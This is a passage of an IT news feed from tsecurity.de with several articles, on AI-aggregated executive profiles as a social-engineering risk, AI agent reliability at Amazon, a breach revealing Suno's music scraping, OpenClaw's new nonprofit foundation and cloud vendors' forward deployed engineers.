<p class="wp-block-paragraph">So organizations that embark on upskilling and training will need a robust strategy in place to ensure employees take advantage of the training and remain engaged. Leaders will also need to set the expectations for how to integrate training into daily work, so they aren’t left feeling overwhelmed by the process on top of their current roles.</p>



<p class="wp-block-paragraph">“What we’ve found that works is to embed AI into people’s workflows after the initial training, and pair people with colleagues who are further along in their AI utilization,” says Maruf Ahmed, CEO of IT solutions provider Dexian. “The gap between ‘I attended the training’ and ‘I’m actually using this differently in my job’ is where companies lose people, and closing it takes more than a single training cycle.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The executive profile your security team isn’t defending]]></title>
<description><![CDATA[A few years ago, I was retained to conduct a digital risk review for the chief executive of a mid-sized financial services firm. The brief was standard. Assess what was publicly available about the executive, identify exposure and advise on remediation. The AI tools I used completed the substanti...]]></description>
<link>https://tsecurity.de/de/3672879/it-security-nachrichten/the-executive-profile-your-security-team-isnt-defending/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672879/it-security-nachrichten/the-executive-profile-your-security-team-isnt-defending/</guid>
<pubDate>Thu, 16 Jul 2026 11:09:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A few years ago, I was retained to conduct a digital risk review for the chief executive of a mid-sized financial services firm. The brief was standard. Assess what was publicly available about the executive, identify exposure and advise on remediation. The AI tools I used completed the substantive reconnaissance in under ten minutes.</p>



<p class="wp-block-paragraph">What came back was a synthesized profile. Board memberships and the dates they started. A pattern of public commentary that revealed which policy positions the executive held strongly and which ones he would likely bend on under pressure. A philanthropic interest that explained which causes he would respond to if someone framed an ask around them. None of this information was sensitive in isolation. But assembled into a single, queryable narrative, it was something an attacker could use immediately.</p>



<p class="wp-block-paragraph">What I was looking at was a publicly accessible query to a general-purpose AI tool. And that is the problem most executive protection programs have not yet confronted. The reconnaissance phase for a targeted social engineering attack now takes minutes, not days, and the inputs required are trivial.</p>



<p class="wp-block-paragraph">AI-aggregated executive data has become an attack surface. Most security programs have not yet adapted to it.</p>



<h2 class="wp-block-heading"><a></a>The reconnaissance phase has effectively collapsed</h2>



<p class="wp-block-paragraph">Traditional <a href="https://www.csoonline.com/article/567859/what-is-osint-top-open-source-intelligence-tools.html">OSINT</a> work against an executive target required skill and patience. A competent analyst could build a useful profile over several days by working through search engines, corporate filings, social platforms and archived media. That work was a meaningful barrier. It took time and it required judgment about which sources to trust. It also left trails if the attacker was careless.</p>



<p class="wp-block-paragraph">AI aggregation removes all three constraints.</p>



<p class="wp-block-paragraph">The speed advantage is obvious but it is not the most important change. The more significant shift is synthesis. A search engine returns documents. An AI tool returns a coherent narrative with inferred relationships and interpreted significance. When I query a major AI platform for a senior executive by name, I get a structured account of their career arc, their professional relationships, their areas of visible influence and frequently their personal interests, relationships and public-facing affiliations.</p>



<p class="wp-block-paragraph">The <a href="https://westoahu.hawaii.edu/cyber/global-weekly-exec-summary/alphv-hackers-reveal-details-of-mgm-cyber-attack/">MGM Resorts incident </a>reported in 2023 illustrated the principle at scale. Attackers reportedly identified an MGM executive on LinkedIn, used that public profile information to impersonate them in a call to the IT help desk and obtained access credentials within minutes. The OSINT required was minimal and the manipulation was straightforward. What AI tools have done since is make that kind of reconnaissance faster, more complete and available to actors who lack the manual tradecraft to run it themselves.</p>



<p class="wp-block-paragraph">As the<a href="https://www.verizon.com/business/resources/reports/dbir/"> Verizon Data Breach Investigations Report </a>consistently documents, the human element is present in the majority of confirmed breaches, and social engineering remains one of the most reliable initial access vectors.</p>



<p class="wp-block-paragraph">The accessible nature of AI tools is also expanding the threat population. Attacks that previously required a skilled analyst to design now require only a motivated actor with internet access. That changes the volume and targeting calculus. Executives who were previously too obscure to justify a sophisticated manual attack are now viable targets for anyone with a grievance and a query box.</p>



<h2 class="wp-block-heading"><a></a>What should CIOs and CISOs do about it?</h2>



<p class="wp-block-paragraph">The instinct in many organizations is to route anything involving an executive’s public profile to the comms or PR function. That instinct made sense when the risk was reputational. It no longer covers the exposure.</p>



<p class="wp-block-paragraph">What follows is how I advise clients to structure this work.</p>



<h3 class="wp-block-heading">Monitor regularly</h3>



<p class="wp-block-paragraph">The starting point is establishing visibility into what AI tools are actually returning about your executive population. Not a one-time audit conducted during a board meeting and forgotten. The profiles shift continuously as new content is indexed, old content is reweighted and the models are updated.</p>



<p class="wp-block-paragraph">Assign ownership to run structured queries across the major platforms, including ChatGPT, Gemini, Perplexity and the Microsoft Copilot stack, on a regular cadence. Document what you find and track changes. Treat the output the same way you would treat a vulnerability scan as something to be prioritized and acted upon.</p>



<h3 class="wp-block-heading">Reduce the available attack surface</h3>



<p class="wp-block-paragraph">Work with each executive to identify content that expands their AI-indexed profile without serving any legitimate business purpose. This includes legacy conference bios that contain personal details, social posts that reveal schedule patterns or family context and board announcements that, in aggregate, map an executive’s full professional network. For some of this content, removal is possible and worth pursuing with a targeted effort.</p>



<p class="wp-block-paragraph">The more important conversation is around future behavior. Executives who habitually overshare on LinkedIn or in conference panels need to understand, concretely, what that sharing enables.</p>



<p class="wp-block-paragraph">Family member exposure is a consistent blind spot. An attacker who cannot pressure an executive directly may look for leverage through a spouse, a sibling or a child. Executives rarely consider their family members’ public digital footprint as part of their own security posture. It is.</p>



<h3 class="wp-block-heading">Shape the narrative where reduction isn’t possible</h3>



<p class="wp-block-paragraph">Public company executives, board members with mandatory disclosure obligations and individuals whose public profiles are central to their organizations’ credibility cannot simply go dark.</p>



<p class="wp-block-paragraph">The objective shifts from reduction to shaping in these cases. The goal is to ensure that what AI tools synthesize from the indexed content is professionally bound and does not inadvertently surface high-value pretext material. This is a joint exercise between security and communications, with security defining risk boundaries and communications executing the strategy.</p>



<h3 class="wp-block-heading">Train executives on what their own profile looks like</h3>



<p class="wp-block-paragraph">The most effective single intervention I have seen in executive briefings is also the simplest. Open a browser and query an AI platform on the executive in the room. Let them see the output. The reaction is consistent. They are surprised by the synthesis, uncomfortable with specific details that surface and immediately more engaged with the rest of the conversation than they were before.</p>



<p class="wp-block-paragraph">Abstract threat briefings about social engineering risks rarely land with senior leaders who feel they understand their own security position. Demonstrated evidence of their AI-mediated profile lands every time. As covered in the context of <a href="https://www.cio.com/article/4076479/from-awareness-to-ai-driven-resilience-protecting-identities-data-and-agents.html">executive-targeted attacks</a>, awareness is a prerequisite for the behavior change that makes protection programs effective.</p>



<h3 class="wp-block-heading">Integrate this into the executive protection program</h3>



<p class="wp-block-paragraph">This work belongs alongside endpoint security, credential management and physical protection in a unified executive protection program. When it remains a communications function, it lacks the reporting structure, budget authority and operational discipline that security work requires.</p>



<p class="wp-block-paragraph">Assign an owner with a security mandate. Include AI exposure in the risk register. Report on it at the same cadence as other executive protection metrics. The organizations that have done this well have not created a separate program for it. They have extended an existing one.</p>



<h2 class="wp-block-heading"><a></a>What effective executive protection programs now include</h2>



<p class="wp-block-paragraph">The organizations that have integrated AI exposure into their executive protection work share a few characteristics that distinguish them from those still treating it as a communications edge case.</p>



<ul class="wp-block-list">
<li>They treat the executive’s public information footprint as a managed attack surface with a named accountable party. Someone is responsible for it, the same way someone is responsible for endpoint patching or identity governance.</li>



<li>They include AI-assisted reconnaissance as a starting condition in red team exercises. Before any social engineering simulation begins, the red team runs the same queries an attacker would run. The pretext they design is based on what those queries return.</li>



<li>Their executive protection briefings include an AI profile review as a standing agenda point. Physical security considerations, credential exposure and public information risk are reviewed together because they are connected. An attacker who knows an executive’s schedule from their public-facing content can time a credential reset attempt or a vishing call with equal precision.</li>
</ul>



<p class="wp-block-paragraph">The executive I reviewed several years ago had no idea what his AI-indexed profile contained or what it enabled. Most of the executives I work with today are in the same position. By the time you finish reading this, it is likely those queries have already been run on someone in your organization. The question is whether your program is positioned to detect it and respond in time.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon AGI director says AI agent reliability, not capability, is blocking enterprise deployment at VB Transform 2026]]></title>
<description><![CDATA[The enterprise AI industry has a math problem. Cisco data shows 85% of enterprises are piloting AI agents, but only 5% have shipped them to production. At VB Transform 2026 on Tuesday, Bryan Silverthorn, Director of AGI Autonomy at Amazon, explained why that gap persists — and why the answer isn'...]]></description>
<link>https://tsecurity.de/de/3672035/it-nachrichten/amazon-agi-director-says-ai-agent-reliability-not-capability-is-blocking-enterprise-deployment-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672035/it-nachrichten/amazon-agi-director-says-ai-agent-reliability-not-capability-is-blocking-enterprise-deployment-at-vb-transform-2026/</guid>
<pubDate>Thu, 16 Jul 2026 00:46:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The enterprise AI industry has a math problem. Cisco data shows <a href="https://venturebeat.com/security/85-of-enterprises-are-running-ai-agents-only-5-trust-them-enough-to-ship">85% of enterprises</a> are piloting AI agents, but only 5% have shipped them to production. At <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> on Tuesday, <a href="https://silverthorn.blog/">Bryan Silverthorn</a>, Director of AGI Autonomy at Amazon, explained why that gap persists — and why the answer isn't better benchmarks.</p><p>Silverthorn, who joined Amazon through its acquisition of Adept AI and now leads multimodal agent training inside the company's AGI lab, argued that reliability must be broken into four distinct dimensions: consistency, robustness, predictability, and safety — a framework he credits to research from Princeton.</p><p>"It unpacks different factors that I see tangled together in almost every eval I've ever seen," he said.</p><h2><b>Why AI agents pass internal evals but fail real customers in production</b></h2><p>The framework matters because agents routinely ace internal evaluations and then collapse in the wild. Silverthorn described a customer that deployed an agent for software QA involving serial number extraction from screens. It worked flawlessly for two months — then began intermittently reading wrong numbers. The culprit: the underlying vision encoder behaved differently depending on where the serial number appeared on screen, and a software change imperceptible to humans triggered the failure.</p><p>The lesson, Silverthorn said, is about measurement, not just models. "The models have to be better. Obviously, we're working hard on making the models better," he said. But the deeper takeaway, he added, is that teams need to identify their dimensions of variability and match measurement rigor to the stakes of the application. VentureBeat's own proprietary research, presented before the session, reinforces the point: half of surveyed companies shipped agents that passed internal evals but failed real customers, and enterprises overwhelmingly track uptime while ignoring accuracy — checking the pulse without checking the diagnosis. A related finding underscored how few guardrails exist: most enterprises default to the model makers' own evaluations and little else, leaving their testing strategy, as I described it on stage, a coin flip between trusting the vendor and trusting nothing.</p><h2><b>Inside Amazon's 'intern' framework for managing autonomous AI agents</b></h2><p>Silverthorn's most memorable prescription was cultural, not technical. Inside Amazon's AGI lab, researchers literally call their agents "interns" — as in, "I'll have my intern talk to your intern." The joke carries a serious operational philosophy. Agents, like interns, are powerful but occasionally clueless, capable of amazing work and spectacular derailment.</p><p>Managing them, he argued, requires management skills rather than software skills: asking what could go wrong, adding backups and undo capabilities, and consciously deciding what risk you can accept. "You can ask the intern, 'Hey, what might you do wrong here? How might you mitigate your negative outcomes?'" he said. Amazon's lab has embraced that trade-off, accepting agents occasionally running the wrong experiment in exchange for research velocity — including one agent running experiments around the clock on its own high-level research plan.</p><h2><b>What enterprise leaders should do before deploying agents at scale</b></h2><p>Silverthorn was candid about the limits of today's technology. Self-improving AI remains "a loaded term," he said — Amazon uses AI to improve its models constantly, but fully autonomous self-improvement is distant. Computer use remains a core focus of his lab, with a commercial trucking customer already using browser automation to stitch together warranty claims across fragmented systems**, though he stressed that no future agent will rely on computer use alone — it will work alongside MCP, APIs, and other tools to complete end-to-end workflows**. And LLM-as-judge techniques, while promising, are just one of several strategies for aligning agent capability with acceptable risk.</p><p>For enterprises stuck in pilot purgatory, the path forward starts with a mindset shift: stop asking whether your agent can do something impressive once, and start asking whether it can do it correctly a thousand times in a row.</p><p>In other words, the enterprises that escape the 85% ceiling won't be the ones with the smartest agents. They'll be the ones with the best managers.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hack Reveals Suno AI Music Generator Scraped YouTube, Deezer, and Genius]]></title>
<description><![CDATA[A hacker who breached Suno reportedly revealed source code and training-library details showing the AI music generator scraped millions of songs and lyrics from sources including YouTube Music, Deezer, Genius, Pond5, Jamendo, Freesound, and podcast RSS feeds. "The hacked data is a rare look at ex...]]></description>
<link>https://tsecurity.de/de/3671870/it-security-nachrichten/hack-reveals-suno-ai-music-generator-scraped-youtube-deezer-and-genius/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671870/it-security-nachrichten/hack-reveals-suno-ai-music-generator-scraped-youtube-deezer-and-genius/</guid>
<pubDate>Wed, 15 Jul 2026 23:07:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A hacker who breached Suno reportedly revealed source code and training-library details showing the AI music generator scraped millions of songs and lyrics from sources including YouTube Music, Deezer, Genius, Pond5, Jamendo, Freesound, and podcast RSS feeds. "The hacked data is a rare look at exactly how AI models and tools are built," reports 404 Media. "Suno is one of the largest AI music generation tools on the internet, and has been the subject of several major lawsuits from the record industry, which accused the company of training on millions of copyrighted songs." Suno maintains that its models were trained on publicly available music files and metadata as fair use. 404 Media reports: The Recording Industry Association of America accused Suno of ripping songs directly from YouTube; the hacked data seen by 404 Media confirms this. The hacked material includes source code that appears to be from 2023 and 2024 that includes scraping instructions and details about the scope of at least some of the scraping. For example, the comments in one file note that they will pull from "genius_hq, youtube_music, freesound, jamendo, imp, deezer, ytm_tagged," and that "non-music will be filtered out." A file called "youtube_music" notes that at the time the file was last updated, it had ingested "2,013,545 music clips." Another file contains comments about different datasets Suno had created, which included "113,879 hours of youtube_music," "17,615 hours of genius_hq," "410 hours of free sound," "19,514 hours of imslp," "3,726 hours of jamendo," "62,117 hours of pond5_music," "12,287 hours of deezer," "152,162 hours of ytm_tagged," and "103 hours of musescore_lyrics." In total, this is at least decades worth of music.
 
Other code the hacker shared with 404 Media appeared to look specifically for vocals by searching specifically for acapella versions of songs on YouTube. The code also suggested that Suno was using proxies to scrape songs from YouTube through a company called Bright Data, which sells scraping tools, infrastructure, and data services. Additional code shows that with the help of an online tool called PodcastIndex, Suno identified 420,000 different podcasts that had at least five, 30-minute episodes and sought to download roughly 1 million hours of podcasts.
 
[...] The hacker, ellie.191, told 404 Media they breached the company by hacking an individual employee using the Shai-Hulud worm, a supply chain attack that allowed hackers to harvest GitHub and cloud service credentials. They said they also accessed Suno's customer list, which included customers' emails and/or phone numbers and Stripe payment details, depending on what they used to login. The hacker provided a sample of some of the customers, some of whom confirmed to 404 Media they had used their phone number to sign up for Suno and said they were never notified of a breach. The hacker told 404 Media they had no specific motivation for hacking Suno and said "I like to hack anything and everything."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Hack+Reveals+Suno+AI+Music+Generator+Scraped+YouTube%2C+Deezer%2C+and+Genius%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F15%2F2010250%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F15%2F2010250%2Fhack-reveals-suno-ai-music-generator-scraped-youtube-deezer-and-genius%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/15/2010250/hack-reveals-suno-ai-music-generator-scraped-youtube-deezer-and-genius?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AT&T Shows Big Improvements in Latest Carrier Report]]></title>
<description><![CDATA[Ookla published its latest carrier report this week. The big takeaway is improvements seen from AT&T, but after looking through the numbers, each carrier has high marks and reason to be happy. Carriers love using these reports in their marketing, so it makes that each one would fair well enough t...]]></description>
<link>https://tsecurity.de/de/3671787/it-nachrichten/att-shows-big-improvements-in-latest-carrier-report/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671787/it-nachrichten/att-shows-big-improvements-in-latest-carrier-report/</guid>
<pubDate>Wed, 15 Jul 2026 22:18:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Ookla published its latest carrier report this week. The big takeaway is improvements seen from AT&amp;T, but after looking through the numbers, each carrier has high marks and reason to be happy. Carriers love using these reports in their marketing, so it makes that each one would fair well enough to have something to brag...</p>
<p>Read the original post: <a href="https://www.droid-life.com/2026/07/15/att-shows-big-improvements-in-latest-carrier-report/">AT&amp;T Shows Big Improvements in Latest Carrier Report</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenClaw becomes a nonprofit foundation as it seeks to be ‘the Switzerland of AI’]]></title>
<description><![CDATA[OpenClaw’s announcement that it has become a nonprofit foundation is generating IT excitement because of the potential for governance and development consistency that the popular platform has thus far lacked. Still, some worry about the risks created by the move. 



“Our ambition is for OpenClaw...]]></description>
<link>https://tsecurity.de/de/3671162/ai-nachrichten/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671162/ai-nachrichten/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:35 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">OpenClaw’s announcement that it has become a nonprofit foundation is generating IT excitement because of the potential for governance and development consistency that <a href="https://www.computerworld.com/article/4128257/openclaw-the-ai-agent-thats-got-humans-taking-orders-from-bots.html" target="_blank">the popular platform </a>has thus far lacked. Still, some worry about the risks created by the move. </p>



<p class="wp-block-paragraph">“Our ambition is for OpenClaw to be the Switzerland of AI. Neutral ground where every model and every lab can plug into the technology and collaborate on standards in the era of agents,” <a href="https://openclaw.ai/blog/introducing-openclaw-foundation/" target="_blank" rel="noreferrer noopener">OpenClaw said in a post</a>. “That work is already underway in Foundation-convened councils on agent identity, agent profiles, evals, and enterprise deployment.”</p>



<p class="wp-block-paragraph">The statement, co-authored by OpenClaw creator <a href="https://www.linkedin.com/in/steipete/" target="_blank" rel="noreferrer noopener">Peter Steinberger</a>, pointed out, “the great open source projects of our time — Linux, Apache, Mozilla — endure because a neutral steward stands behind them. That is the role we are taking on to keep OpenClaw MIT licensed, open, and independent so that everyone building on it can trust it will be here for the long term.”</p>



<p class="wp-block-paragraph">But it reassured users that the original OpenClaw leadership is still in charge.</p>



<p class="wp-block-paragraph">“Peter built this thing and Peter keeps making the calls, especially the technical ones. Since joining OpenAI earlier this year, he has continued to steward OpenClaw as an open and independent project, and OpenAI has made a commitment to keep it that way,” the post said. “The foundation is here to serve: good governance, stable funding, and paying the people who keep the claws alive.”</p>



<p class="wp-block-paragraph">However, some analysts and consultants were skeptical about how much true independence Steinberger would have, given his salaried role with OpenAI. </p>



<h2 class="wp-block-heading">Neutrality claim in question</h2>



<p class="wp-block-paragraph">“The Switzerland of AI neutrality claim collapses under its own announcement,” said <a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520. “OpenAI runs a team [at OpenAI] called Claw Labs that Peter leads and OpenAI is a major donor to OpenClaw. The ‘neutral steward’s’ chief technical decision maker is employed by one of the competing labs it is supposed to be neutral with.” To OpenAI, he said, OpenClaw is closer to a tax-exempt nonprofit subsidiary than it is to a neutral ‘Switzerland of AI.’</p>



<p class="wp-block-paragraph">He pointed out that, in addition, Microsoft is shipping <a href="https://www.computerworld.com/article/4173442/enterpriseclaw-wants-to-bring-governance-to-the-openclaw-era-2.html" target="_blank">the enterprise version</a> of OpenClaw, and Nvidia is shipping the hardware bundle. “This is being called the Switzerland of AI, but Switzerland does not have its central bank run by France,” he observed.</p>



<p class="wp-block-paragraph">Kenney said that what the new OpenClaw has actually built is “a shared dependency that several competitors fund, staff, and steer, wrapped in a nonprofit structure. Enterprise IT should understand that structure, because treating OpenClaw as neutral is a mistake,” adding that CIOs need to look at this development devoid of the emotional component. </p>



<p class="wp-block-paragraph">“There is a strategic irony here that CIOs should sit with,” Kenney said. “If OpenClaw succeeds at becoming the universal agent substrate, then every model plugs into the same identity layer, the same profiles, and the same deployment plumbing. The thing every vendor is racing to own becomes a commodity that nobody owns.” He pointed out that, in the short term, that is genuinely good news for buyers because it means less lock-in and more portability.</p>



<p class="wp-block-paragraph">“But,” he said, “when the connective tissue is free and natural, the only labs that benefit are the ones with the best models and the deepest distribution. Commoditize the layer below you and you compete on the layer where you are already strongest. The foundation is not a charity. It is the biggest players agreeing to stop fighting over the plumbing so they can fight over the water, and the enterprise is the one paying the water bill either way.”</p>



<h2 class="wp-block-heading">Good news, bad news</h2>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/jason-andersen/" target="_blank" rel="noreferrer noopener">Jason Andersen</a>, principal analyst at Moor Insights &amp; Strategy, liked the potential consistency that could emerge from the structural change, given the complexity of agent development today. </p>



<p class="wp-block-paragraph">“We are seeing a lot of OpenClaw variants hit the market, such as those from Nvidia as well as competing products from cloud and SaaS vendors. A common base helps solidify the common parts,” Andersen noted. “That said, a common challenge is the sustainability of these open source foundations over time. In addition to releasing code, these foundations need funding to evolve and grow. And that funding needs to come from continued momentum to incentivize existing members to increase investment and recruit new members to join.”</p>



<p class="wp-block-paragraph">Andersen stressed that IT buyers need to keep an eye on the roadmap for any OpenClaw variant they choose to deploy, “as that will directly impact the foundation, and the momentum of the foundation and common base. If the common base loses momentum, it can lead to forks, or just a loss of innovation. When that happens, members tend to back away, which puts customers in limbo.”</p>



<p class="wp-block-paragraph">But not everyone sees the promised structure as entirely good for IT.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/ishraqkhann/" target="_blank" rel="noreferrer noopener">Ishraq Khan</a>, CEO at coding productivity tool vendor Kodezi, said, “most CIOs do not want to bet their future entirely on a single model vendor. They want Claude for some workloads, GPT for others, open models for sensitive environments, and potentially internally fine-tuned systems for specific use cases. The problem is that every vendor currently brings its own identity system, tool interfaces, permissions model, and operational assumptions. That fragmentation does not scale.”</p>



<p class="wp-block-paragraph">He said, “the risk if standards fail is straightforward: every vendor builds its own closed ecosystem, enterprises become locked into individual stacks, and security becomes dramatically harder. The opportunity if OpenClaw succeeds is equally significant: enterprises get portable agents, common identity standards, interoperable tooling, and a healthier competitive market around models rather than ecosystems.”</p>



<h2 class="wp-block-heading">Will it remain a nonprofit?</h2>



<p class="wp-block-paragraph">However, said <a href="https://acceligence.com/talent/profiles/justin-greis/" target="_blank" rel="noreferrer noopener">Justin Greis</a>, CEO of consulting firm Acceligence, one of the key details that IT executives will want to keep in mind is that OpenAI also began as a nonprofit, but it was quickly <a href="https://www.computerworld.com/article/4056490/openai-microsoft-discuss-shape-of-future-relationship.html" target="_blank">seen as not adhering to nonprofit objectives</a>. </p>



<p class="wp-block-paragraph">“OpenAI’s transition from a nonprofit research organization into a more complex structure highlighted the challenge of maintaining mission alignment while scaling technology, capital, partnerships, and commercial operations,” Greis said. “OpenClaw has the opportunity to address some of those governance questions earlier by establishing clear principles around neutrality, transparency, and decision-making before the ecosystem becomes even larger and more valuable.”</p>



<p class="wp-block-paragraph">He noted, “we have seen this pattern before with technologies like Linux and Kubernetes. The strongest open ecosystems succeeded because they created trusted foundations that enterprises could build upon. The technology was important, but the governance model that underpinned it was equally critical.”</p>



<h2 class="wp-block-heading">Risks are ‘squarely in IT’s lap’</h2>



<p class="wp-block-paragraph">Consultant <a href="https://formergov.com/directory/brianlevine" target="_blank" rel="noreferrer noopener">Brian Levine</a>, executive director of FormerGov, echoed Greis’ concerns. </p>



<p class="wp-block-paragraph">“CIOs shouldn’t assume that this nonprofit will always be a nonprofit, or confuse being a nonprofit with actually being neutral or unbiased,” he said. “The risks are squarely in IT’s lap: autonomous agents ‘with their own identity’ acting on a user’s behalf blow straight through traditional IAM assumptions. Issues, such as agent identity, auditability, secret handling. Identity boundaries have not yet been reliably solved. Until they are, enterprises should treat OpenClaw agents like privileged service accounts, not like a browser plugin.”</p>



<p class="wp-block-paragraph">Independent cybersecurity and risk advisor <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a> pointed to another IT exposure that might come from this OpenClaw transition: Cost.</p>



<p class="wp-block-paragraph">“OpenClaw currently has a very high token burn rate in usage, which presents a significant cost consideration for large-scale enterprise adoption,” he said. “The skills marketplace introduces <a href="https://www.csoonline.com/article/4129867/what-cisos-need-to-know-about-clawdbot-i-mean-moltbot-i-mean-openclaw.html" target="_blank">a new supply chain threat </a>that enterprises will need to manage. Threat management, and specifically handling <a href="https://www.csoonline.com/article/4135449/compromised-npm-package-silently-installs-openclaw-on-developer-machines.html" target="_blank">external marketplace elements</a>, can be highly challenging for open-source operations. Ultimately, at scale, enterprise adoption could become a difficult balancing act between managing high operational costs and securing an expanded security surface.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.computerworld.com/article/4196365/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai.html" target="_blank">Computerworld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[A cloud deal too good to be true]]></title>
<description><![CDATA[The model of the forward deployed engineer is sweeping through enterprise IT like a gold rush, and I’m concerned that many companies don’t understand what they’re signing up for.



Let’s start with the headline numbers. AWS announced a $1 billion investment in a new Forward Deployed Engineering ...]]></description>
<link>https://tsecurity.de/de/3671160/ai-nachrichten/a-cloud-deal-too-good-to-be-true/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671160/ai-nachrichten/a-cloud-deal-too-good-to-be-true/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The model of the forward deployed engineer is sweeping through enterprise IT like a gold rush, and I’m concerned that many companies don’t understand what they’re signing up for.</p>



<p class="wp-block-paragraph">Let’s start with the headline numbers. <a href="https://www.aboutamazon.com/news/aws/aws-1-billion-forward-deployed-ai-engineers">AWS announced a $1 billion investment</a> in a new Forward Deployed Engineering organization. Google Cloud committed $750 million to expand similar programs. <a href="https://newsroom.accenture.com/news/2026/accenture-launches-microsoft-forward-deployed-engineering-practice-to-help-organizations-scale-ai-across-the-enterprise">Microsoft has been running Azure-focused embedded engineering teams for years</a>, including partnerships with Accenture to scale forward deployed engineering practices. All three are pitching the same story: We’ll send engineers to work directly with your teams, help you deploy AI, and accelerate your <a href="https://www.cio.com/article/230425/what-is-digital-transformation-a-necessary-disruption.html">digital transformation</a>. You get top-tier technical talent for free, and we get to partner with you on your journey.</p>



<p class="wp-block-paragraph">It sounds reasonable on the surface. It sounds collaborative, even generous. But I’ve been in this industry long enough to know that when a multi-billion-dollar company offers you something for free, they’re sure to get much more than they give.</p>



<h2 class="wp-block-heading">What you actually get</h2>



<p class="wp-block-paragraph">The forward deployed engineer model isn’t new. The consulting industry has been doing some version of it for decades. What makes this different is the scale and the direct financial incentive behind it. </p>



<p class="wp-block-paragraph">These engineers work for the cloud provider. They’re not your employees. They’re not independent consultants. They’re technically excellent professionals who are being paid to solve your immediate problems while simultaneously building relationships and architectures that favor their employer’s ecosystem. Think about it from their perspective. Those forward engineers are evaluated on whether customers succeed with their employer’s platform. They’re rewarded when enterprises adopt more services from that platform. Their career advancement depends on making AWS, Google Cloud, or Microsoft Azure the obvious choice for all of your technical decisions.</p>



<p class="wp-block-paragraph">This isn’t a criticism of the individual engineers. Many of them are genuinely talented and genuinely want to help. But they’re operating within a system that rewards specific outcomes, and those outcomes align with the vendor’s financial interests, not necessarily yours.</p>



<h2 class="wp-block-heading">The problem no one talks about</h2>



<p class="wp-block-paragraph">Here’s what I see happening at enterprises right now. A company decides they need help deploying AI. A cloud provider offers to embed engineers at no additional cost. Those engineers work alongside internal teams, make architectural recommendations, and help build out systems. Six months later, the company has a production AI system running on a single cloud platform, built by people with deep expertise in that specific platform.</p>



<p class="wp-block-paragraph">The problem? Nobody evaluated whether that platform was actually the best choice for the business. Nobody looked at alternatives. Nobody asked whether a <a href="https://www.infoworld.com/article/3584433/are-you-ready-for-multicloud-a-checklist.html">multicloud </a>architecture or best-of-breed approach might deliver better results at lower cost.</p>



<p class="wp-block-paragraph">The engineers embedded in these programs are not going to recommend that you split your workloads across providers. They’re not going to suggest you use <a href="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html">open source</a> tools where they make sense. They’re not going to point you toward a competitor when their employer’s solution will work well enough. That’s not how these programs are designed to function. What you’re getting is optimized architecture for a single cloud brand, not optimized architecture for your business.</p>



